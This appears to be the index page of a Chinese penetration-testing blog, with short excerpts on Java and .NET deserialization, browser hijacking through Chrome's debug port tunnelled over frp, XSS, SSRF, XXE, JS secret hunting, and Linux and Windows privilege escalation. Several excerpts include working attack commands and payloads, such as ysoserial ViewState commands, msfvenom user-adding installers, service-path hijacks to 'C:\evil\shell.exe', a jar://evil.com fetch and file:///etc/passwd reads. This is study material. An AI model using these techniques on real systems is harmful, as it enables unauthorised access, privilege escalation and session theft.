Security Documentation

Yso

JAVA_YSO 基础命令格式 java -jar ysoserial.jar [利用链] [执行的命令] 利用链: CommonsCollections1, URLDNS, Jackson 等 探测/检测 如果不确定对方是否存在反序列化漏洞,或者不清楚使用了哪些依赖库可以使用URLDNS java -jar ysoserial.jar URLDNS "http://your-dnslog-url.com" 注: 如果执行复杂命令最好封装成脚本执行,或者使用sh -c/bash -c .net_yso 基础命令 ysoserial.exe -g [Gadget] -f [Formatter] -c "[Command]" -o 编码 -g 利用链的名称,如TextFormattingRunProperties -f 序列化类型,如 BinaryFormatter, Json.Net, ObjectStateFormatter -c 执行的命令 -o 编码处理,如 raw ,bash64, urlencode 利用 (web Machinekey泄露) ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo pwned > C:\windows\temp\test.txt" --validationkey="你的KEY" --validationalg="SHA1" 技巧 - p 参数可以指定插件,对一些特定目标进行测试 -p ViewState:处理 ASP.NET ViewState。 -p ActivitySurrogateSelector:,可以绕过较新的 .NET 补丁,实现无文件落地执行任意 C# 代码。 利用链: ...

April 10, 2026 · 1 min · h4xk0r

浏览器劫持

实现方式: 开启远程调试端口 首先将dll插入浏览器目录后,使用命令将对方的远程调试端口开起来chrome.exe --remote-debugging-port=9222 --remote-allow-origins=* --headless --remote-debugging-port 指定端口 --remote-allow-origins 避免403 --headless 避免弹窗 注: 如果对方已经开启浏览器需要将浏览器关闭后才能运行插入的dll,关闭浏览器命令taskkill /F /IM chrome.exe /T 开启端后查看端口是否在运行监听netstat -ano | findstr :9222 打隧道 通过frp打通隧道frpc配置 [common] # 你的 VPS 公网 IP server_addr = x.x.x.x server_port = 7000 token = my_secure_token_123 [chrome_debug] type = tcp local_ip = 127.0.0.1 # 对应 Chrome 启动时的 --remote-debugging-port local_port = 9222 # 映射到 VPS 上的端口(确保 VPS 防火墙已开放此端口) remote_port = 19222 # 【实战建议】开启加密和压缩,躲避流量检测 use_encryption = true use_compression = true frps ...

March 30, 2026 · 1 min · h4xk0r

XSS

逃逸手法分类/选择: **HTML标签内部:**如在<div> xxx </div>中 逃逸: 直接闭合标签</div> <script>alert(1)</script> HTML属性内部:<input type="text" value="xxxx"> 逃逸: 一. 闭合属性,添加事件或者闭合标签 " onmouseover="alert(1)或者 "> <script>alert(1)</script> Javascript变量内: <script> var name = 'xxxx'; </script> 逃逸: 闭合单引号或者标签,闭合或者注释掉后面的代码, '; alert(1); // DOM渲染: 数据不回传服务器,直接被前端 JS(如 .innerHTML、eval())接收并渲染。 挖掘思路 输入框测试: 先看源代码,输入的数据在什么里面,再测试能不能截断或者添加事件等方法,输入绕过的字符如: ' " < > / ; \等,观察源代码哪一个被过滤了 变成&lt; 说明做了实体编码 没有变化,说明有xss的可能 其他测试点: json报错页面: 很多 API 报错时会原样回显你输入的非法 JSON 字段 配合文件上传 https://www.freebuf.com/vuls/418170.html 可以看这篇文章 HTTP头(盲XSS) 在 Referer、User-Agent、X-Forwarded-For 中注入盲打 Payload,盲打后台 绕过: 使用不太常见的标签或者事件: 这里推荐一个网站 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 编码绕过: 浏览器解析 HTML 时有特定的解码顺序(HTML 解码 -> URL 解码 -> JS 解码) ...

March 19, 2026 · 1 min · h4xk0r

JS

本人代码能力不是很好,对很多网站框架和文件理解不是很深,所以看js文件的时候难免有些困难,所以有了这篇文章 JS审计技巧 遇到source.map(.map)可以直接还原源码 首先是一些用来搜索的正则: api/| /v[0-9]|/admin|/internal|/private key:|secret:|token:|password:|apikey|sk_ |pk_ |AKIA(AWS) fetch|axios|XMLHttpRequest|$.post|$.ajax localStorage|sessionStorage|cookie if\s*\(\s*user\.role|isAdmin|level|permission innerHTML|eval|document\.write(XSS sink) 看完上面这些,还要看什么? 密钥 如: const KEY = "xxx"、process.env.VITE_xxx(Vite 常见泄露)、client_secret。 如config.chunk.js 里: const stripeConfig = { publishableKey: "pk_live_51Hb...xxxx", // Stripe 真实密钥 clientSecret: "sk_test_51Hb...xxxx" }; var fallbackSecret = "supersecret2025!@#"; // 备用密钥 API 可以用上面的正则去搜 逻辑/授权检查 如: if (user.isAdmin)、if (role === 'vip')、if (canEdit)。 if (user.vipLevel >= 3) { showDownloadButton(); // 前端判断 } else { hideIt(); } 加密/签名 如CryptoJS、encrypt、sign、md5、rsa 函数。 password: CryptoJS.AES.encrypt(pwd, 'hardcoded_key_123').toString() 逆向出密钥,就能批量撞库或伪造登录 不用看的JS 第三方库完整代码jquery-3.6.0.min.js、lodash.min.js、react.production.min.js 全文件。 → 只看最上面注释的版本号(查 CVE),其余不看。 一些框架的打包,如React/Vue/Next.js 的 _createElementVNode, useState, render() { ... } 还有一些轮番图片等 ...

February 28, 2026 · 1 min · h4xk0r

Java基础

JAVA 反射 什么是java的反射 java反射就是在程序运行状态中,能够知道任何一个类的所有属性和方法,并且能够调用这些属性和方法的功能 正向 VS 反向 正向流程: 导入类 –> new对象 –> 调用对象 User user = new User(); user.login(); 如果类不存在就报错 **反向流程:**拿到字符串类名 –> 让JVM去找这个类 –> 强行拆解这个类 –> 调用里面的东西 Class.forName("com.User").getMethod("login").invoke(obj); 动态加载类,即使编译时类还没有也能运行 类加载机制 什么是类加载 java代码进行编译后就是.class文件(字节码),类加载就是把这些二进制数据读进内存,解析并生成一个java.lang.Class对象的过程 类加载的三个阶段 Loading(加载) 读取字节流,不执行代码 Linking(链接) 分为验证,准备,解析。 一般不执行代码 lnitialization(初始化) 执行静态代码块,静态变量的赋值动作 两种攻击方式: 例子: class Evil { // 1. 静态变量赋值 public static int a = runCommand(); // 2. 静态代码块 static { System.out.println("静态代码块被执行了"); } public static int runCommand() { System.out.println("静态变量赋值触发了恶意方法!"); return 1; } } 会会先执行赋值,然后是静态代码块。因为初始化执行的顺序是 “静态变量赋值” 和 “静态代码块” ...

February 16, 2026 · 5 min · h4xk0r

Linux提权

常规提权方式 一、sudo滥用提权 sudo -l提示要输入密码的原因: 默认SUDO行为 : 需要输入当前用户的密码(不是root)密码 sudoers配置问题: 未配置免密码访问 在/etc/sudoers文件中没有为当前用户配置NOPASSWD选项 配置覆盖问题: 用户组覆盖了用户配置,可能被添加到了wheel用户组 检查当前用户所在组 id username 如果发现在wheel组中,检查wheel组的配置 查看%wheel相关配置,看是否设置了NOPASSWD或要求密码 sudo visudo 从wheel组中移除用户 sudo gpasswd -d username wheel 利用步骤: 查看当前用户sudo权限: sudo -l 示例输出:(ALL) NOPASSWD: /usr/bin/vim 利用vim提权: sudo /usr/bin/vim 在vim中输入 :set shell=/bin/bash 回车 然后输入 :shell 回车 成功获得root shell 利用其他命令提权: 如果发现可以执行/usr/bin/nano: sudo /usr/bin/nano 在nano中按Ctrl+R,输入!bash,回车 即可获得root shell 说明: sudo配置不当,允许用户以root身份执行特定命令,而无需密码验证。 二、SUID特殊权限提权 利用步骤: 查找SUID文件: find / -perm -u=s -type f 2>/dev/null 利用/bin/mount提权: mkdir /tmp/mount touch /tmp/mount/malicious_file sudo /bin/mount -o bind /tmp/mount /tmp/mount sudo /bin/mount /tmp/mount /tmp/mount 通过此方式可获取root权限 利用/bin/ping提权: ...

February 15, 2026 · 6 min · h4xk0r

SSRF

伪协议 PHP http/s:// 常用于探测存活主机和开放端口,配合burp https://example.com/title?title=http://127.0.0.1:6379 file:// 读取文件内容 file:///etc/passwd dict:// 字典服务协议,可以通过这个协议执行一些指令.但是dict很难完成复杂的认证,他每次发送的请求都是新建立的连接 dict://127.0.0.1:6379/info gopher:// gopher协议可以伪造任何基于TCP的应用层协议报文(java不支持) gopher://<host>:<port>/_<payload> _ : 占位符。gopher协议在传输中会吃掉路径后的第一个字符 <payload> : 经过URL编码的原始tcp数据流 JAVA file:// 协议 与 PHP 类似 可以读取本地文件:file:///etc/passwd。 netdoc:// 协议 它允许你访问并提取 jar 包中的内容。 Payload: netdoc:///etc/passwd jar:// 协议 它允许你访问并提取 jar 包中的内容。 语法: jar:{url}!/{entry} 用法: jar:http://evil.com/test.jar!/com/test/Main.class 利用点: 让服务器去下载远程恶意 jar 包。 读取本地 classpath 下的配置文件。 结合某些反序列化漏洞,控制类加载过程。 绕过 IP地址 进制转换: 浏览器和许多网络库支持非十进制的 IP。 八进制: 0177.0.0.1 十六进制: 0x7f.0x0.0x0.0x1 十进制整数(最隐蔽): 将 IP 换算成一个超大数字。127.0.0.1 ----> 2130706433 特殊省略写法: 127.0.0.1 可以写成 127.1 或 127.0.1。 0.0.0.0 在 Linux 下通常也会指向本地。 IPv6 绕过: 使用 [::1] 代表 127.0.0.1。 使用 IPv6 格式的内网地址。 利用DNS ...

February 15, 2026 · 1 min · h4xk0r

Windows提权

Windows工作组环境和域环境提权方式详解 一、工作组环境提权方式 1. AlwaysInstallElevated提权 条件: 系统已启用AlwaysInstallElevated(注册表值为1) 检查方法: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 利用步骤: 生成恶意MSI文件(在Kali Linux中): msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd -f msi -o add.msi 如果在Windows上操作,可以使用在线工具生成MSI文件 在Windows上执行: msiexec /i add.msi 验证提权: net user hacker 成功标志:看到hacker账户,且在管理员组中 2. 服务权限配置错误提权 条件: 服务路径权限配置错误 当前用户对服务可执行文件或目录有写权限 检查方法: sc query winpeas.exe quiet notcolor serviceinfo 利用步骤: 找到一个服务(如Spooler): sc qc Spooler 修改服务路径: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Spooler" /t REG_EXPAND_SZ /v ImagePath /d "C:\evil\shell.exe" /f 重启服务: ...

February 15, 2026 · 4 min · h4xk0r

PHP反序列化

距离第一次学习php反序列已经很长时间了,初次学习时就学的迷迷糊糊,有很多理解不到位的地方,正好最近有时间打算回过头重新开始学习一遍,理解不到位之处请各位大佬多多指正。 为什么需要序列化和反序列化? 网络传输只能处理位流(Bytes) , 当你在java,php,python中定义一个复杂的用户对象,但是路由器并不认识,只能通过序列化成字符串的方式以字节流的方式传输,传输流程大致如下: 服务器对象–> 序列化–> 字节流–> 网络传输–> 反序列化–> 客户端 内存(RAM)易失,程序运行在内存中,一旦断电,关闭数据就会消失 php中的序列化反序列化函数 序列化:serialize() 反序列化:unserialize() 漏洞利用 前提: 服务端(不论是当前代码还是所包含的代码中)必须要有对象(序列化形式)所对应的类, 否则无法反序列化 例如: payload:O:1:"**S**":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} 这时候如果服务端没有一个叫做S的类, 就会反序列化失败 所以说, 想要发起反序列化攻击, 必要条件之一: 必须知道服务端有哪些类 魔术方法 注:加黑重点关注 魔术方法 描述 __construct() 构造方法,当对象被实例化(new)时自动调用。 __destruct() 析构方法,当对象被销毁时自动调用。反序列化攻击中最常见的入口。 __call() 在对象上下文中调用一个不可访问或不存在的方法时触发。常用的跳板。 __callStatic() 在静态上下文中调用一个不可访问或不存在的方法时触发。 __get() 读取对象中不可访问(未定义或私有)的属性时触发。常用的跳板。 __set() 写入对象中不可访问(未定义或私有)的属性时触发。 __isset() 使用 isset() 或 empty() 检查对象中不可访问的属性时触发。 __unset() 使用 unset() 删除对象中不可访问的属性时触发。 __sleep() 当对象被 serialize() 序列化前触发,通常用于返回需要被序列化的属性列表。 __wakeup() 当对象被 unserialize() 反序列化时触发,常用于初始化资源。反序列化的“点火开关”。 __toString() 当对象被转换成字符串(如 echo 或拼接)时自动调用。核心跳板。 __invoke() 当尝试以函数方式调用对象(如 $obj())时触发。常用的跳板。 __clone() 当对象使用 clone 关键字被克隆时调用。 __serialize() PHP 7.4+ 引入。序列化前触发,优先级高于 __sleep。返回一个包含对象数据的数组。 __unserialize() PHP 7.4+ 引入。反序列化后触发,优先级高于 __wakeup。用于恢复对象状态。 __set_state() 当使用 var_export() 导出类时触发。必须是静态方法,返回类实例。 __debugInfo() 当使用 var_dump() 打印对象信息时触发,用于控制显示的属性。 1、 __construct() 和 __destruct() ...

February 7, 2026 · 5 min · h4xk0r

XML 漏洞详解

XML漏洞 理论: xml是一种用来传输和存储数据的格式,长得有些像HTML <user> <username>admin</username> <role>manager</role> </user> 要学习XML就要先学习DTD 什么是DTD? DTD(文档类型定义)使用来定义xml文档的合法结构。重点在于DTD允许定义实体也就是Entity,而他也就是漏洞的根源 他有些像编程语言中的变量,举两个例子 内部实体 <!DOCTYPE root [ <!ENTITY name "h4xk0r"> ]> <root>Hello &name;</root> 外部实体----这是漏洞的核心,xml允许从外部通过url或文件路径加载数据 语法关键字 SYSTEM 或 PUBLIC <!DOCTYPE root[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;<root> 如果在实际过程中后端接收了你的XML,并且解析了&xxe这个变量,那么就可以通过构造SYSTEM后面的路径,让服务器读取文件,探测内网 实战向: 怎么去寻找漏洞点: 显式的XML接口: 如果请求头是 Content-Type: application/xml 或 text/xml,且数据包体是 XML,那么可以直接插入payload进行测试,但是感觉现在很少了 隐式接口(content-Type欺骗): 假设一个api接口是这样的: POST /api/login HTTP/1.1 Content-Type: application/json {"user": "admin", "pass": "123"} 很多框架为了兼容性,会根据Content-Type切换解析器,所以我们构造payload POST /api/login HTTP/1.1 Content-Type: application/xml <-- 修改这里 <?xml version="1.0" ?> <user>admin</user> <pass>123</pass> 如果这时候服务器没有报错说明支持xml格式,那么就可以构造payload测试xxe漏洞了 文件上传(SVG与office)–这个是比较容易被忽视的点 svg: 是一种图片格式的矢量图。微信头像,网站logo上传处 Execl/Word(.xlsx/.docx): 本质是ZIP包,解压后是XML。 简历上传,报表导入处 ...

February 4, 2026 · 3 min · h4xk0r